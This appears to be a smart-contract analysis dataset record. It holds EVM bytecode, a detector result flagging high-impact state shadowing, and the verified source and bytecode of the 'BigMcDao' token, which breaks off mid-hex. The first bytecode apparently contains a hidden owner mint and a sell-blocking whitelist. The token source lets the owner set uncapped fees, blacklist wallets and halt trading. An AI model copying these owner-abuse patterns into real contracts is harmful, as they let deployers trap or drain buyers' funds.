ffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610467576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045e90611945565b60405180910390fd5b60005b81518110156104a95761049682828151811061048957610488611965565b5b6020026020010151610f71565b80806104a1906119c3565b91505061046a565b5050565b6000600654905090565b60006104c4848484611061565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611a7e565b60405180910390fd5b6105ac8561059b610d9e565b85846105a79190611a9e565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106826105ed610d9e565b8484600560006105fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067d9190611ad2565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106dd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076190611945565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610860906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461088c906118c7565b80156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b600080600560006108f2610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690611b9a565b60405180910390fd5b6109cc6109ba610d9e565b8585846109c79190611a9e565b610da6565b600191505092915050565b60006109e1610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4e575060011515600960009054906101000a900460ff161515145b15610a8957610a65610a5e610d9e565b8484611061565b6000600960006101000a81548160ff02191690831515021790555060019050610c38565b610a91610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afe575060001515600960009054906101000a900460ff161515145b15610c2157610b188260065461138590919063ffffffff16565b600681905550610b7082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c10919061175c565b60405180910390a360019050610c38565b610c33610c2c610d9e565b8484611061565b600190505b92915050565b610c46610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90611945565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f64919061175c565b60405180910390a3505050565b610f79610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffd90611945565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ed57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611e74565b60405180910390fd5b81816112819190611a9e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113139190611ad2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611377919061175c565b60405180910390a350505050565b60008082846113949190611ad2565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090611ee0565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141d578082015181840152602081019050611402565b8381111561142c576000848401525b50505050565b6000601f19601f8301169050919050565b600061144e826113e3565b61145881856113ee565b93506114688185602086016113ff565b61147181611432565b840191505092915050565b600060208201905081810360008301526114968184611443565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dd826114b2565b9050919050565b6114ed816114d2565b81146114f857600080fd5b50565b60008135905061150a816114e4565b92915050565b6000819050919050565b61152381611510565b811461152e57600080fd5b50565b6000813590506115408161151a565b92915050565b6000806040838503121561155d5761155c6114a8565b5b600061156b858286016114fb565b925050602061157c85828601611531565b9150509250929050565b60008115159050919050565b61159b81611586565b82525050565b60006020820190506115b66000830184611592565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6115f982611432565b810181811067ffffffffffffffff82111715611618576116176115c1565b5b80604052505050565b600061162b61149e565b905061163782826115f0565b919050565b600067ffffffffffffffff821115611657576116566115c1565b5b602082029050602081019050919050565b600080fd5b600061168061167b8461163c565b611621565b905080838252602082019050602084028301858111156116a3576116a2611668565b5b835b818110156116cc57806116b888826114fb565b8452602084019350506020810190506116a5565b5050509392505050565b600082601f8301126116eb576116ea6115bc565b5b81356116fb84826020860161166d565b91505092915050565b60006020828403121561171a576117196114a8565b5b600082013567ffffffffffffffff811115611738576117376114ad565b5b611744848285016116d6565b91505092915050565b61175681611510565b82525050565b6000602082019050611771600083018461174d565b92915050565b6000806000606084860312156117905761178f6114a8565b5b600061179e868287016114fb565b93505060206117af868287016114fb565b92505060406117c086828701611531565b9150509250925092565b600060ff82169050919050565b6117e0816117ca565b82525050565b60006020820190506117fb60008301846117d7565b92915050565b600060208284031215611817576118166114a8565b5b6000611825848285016114fb565b91505092915050565b611837816114d2565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806040838503121561186f5761186e6114a8565b5b600061187d858286016114fb565b925050602061188e858286016114fb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118df57607f821691505b602082108114156118f3576118f2611898565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061192f6020836113ee565b915061193a826118f9565b602082019050919050565b6000602082019050818103600083015261195e81611922565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119ce82611510565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a0157611a00611994565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611a686028836113ee565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b6000611aa982611510565b9150611ab483611510565b925082821015611ac757611ac6611994565b5b828203905092915050565b6000611add82611510565b9150611ae883611510565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b1d57611b1c611994565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b846025836113ee565b9150611b8f82611b28565b604082019050919050565b60006020820190508181036000830152611bb381611b77565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c166024836113ee565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca86022836113ee565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a6025836113ee565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc6023836113ee565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e6026836113ee565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b836113ee565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea2646970667358221220b11761717e7f2cf66d13b23b89dac900c86567b99bbbc3eb5e0f1e723be0c29c64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
7,186
0xb044bef3136eef3826d47f54dba02698c1b85177
/** *Submitted for verification at Etherscan.io on 2022-02-14 */ /* Welcome to BigMcDAO https://t.me/BIGMACDAOPORTAL */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BigMacDAO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BigMcDao"; string private constant _symbol = "BIGMAC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x15e2c855F83eC077EcC578F23a8Bd735475E59DB); address payable private _marketingAddress = payable(0x15e2c855F83eC077EcC578F23a8Bd735475E59DB); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 500000000 * 10**9; uint256 public _maxWalletSize = 500000000 * 10**9; uint256 public _swapTokensAtAmount = 100000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function swap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setmaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e1461065c578063ea1644d514610699578063f2fde38b146106c2578063fc342279146106eb576101d7565b8063b0c2b561146105b6578063bfd79284146105df578063c3c8cd801461061c578063c492f04614610633576101d7565b806395d89b41116100d157806395d89b41146104fc57806398a5c31514610527578063a2a957bb14610550578063a9059cbb14610579576101d7565b80638da5cb5b1461047d5780638f70ccf7146104a85780638f9a55c0146104d1576101d7565b8063313ce5671161016f57806370a082311161013e57806370a08231146103c1578063715018a6146103fe5780637d1db4a5146104155780637f2feddc14610440576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636fc3eaec146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103bf610acd565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190613063565b610b9e565b6040516103f59190612f94565b60405180910390f35b34801561040a57600080fd5b50610413610bef565b005b34801561042157600080fd5b5061042a610d42565b6040516104379190612f94565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190613063565b610d48565b6040516104749190612f94565b60405180910390f35b34801561048957600080fd5b50610492610d60565b60405161049f9190613048565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca91906130bc565b610d89565b005b3480156104dd57600080fd5b506104e6610e3b565b6040516104f39190612f94565b60405180910390f35b34801561050857600080fd5b50610511610e41565b60405161051e9190612e3d565b60405180910390f35b34801561053357600080fd5b5061054e600480360381019061054991906130e9565b610e7e565b005b34801561055c57600080fd5b5061057760048036038101906105729190613116565b610f1d565b005b34801561058557600080fd5b506105a0600480360381019061059b9190612e95565b610fd4565b6040516105ad9190612ef0565b60405180910390f35b3480156105c257600080fd5b506105dd60048036038101906105d891906130e9565b610ff2565b005b3480156105eb57600080fd5b5061060660048036038101906106019190613063565b611091565b6040516106139190612ef0565b60405180910390f35b34801561062857600080fd5b506106316110b1565b005b34801561063f57600080fd5b5061065a600480360381019061065591906131d8565b61118a565b005b34801561066857600080fd5b50610683600480360381019061067e9190613238565b6112c4565b6040516106909190612f94565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb91906130e9565b61134b565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190613063565b6113ea565b005b3480156106f757600080fd5b50610712600480360381019061070d91906130bc565b6115ac565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600881526020017f4269674d6344616f000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0e61165e565b73ffffffffffffffffffffffffffffffffffffffff161480610b845750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6c61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610b8d57600080fd5b6000479050610b9b8161211a565b50565b6000610be8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610bf761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffffffffffffffffffffffffffffffffffffff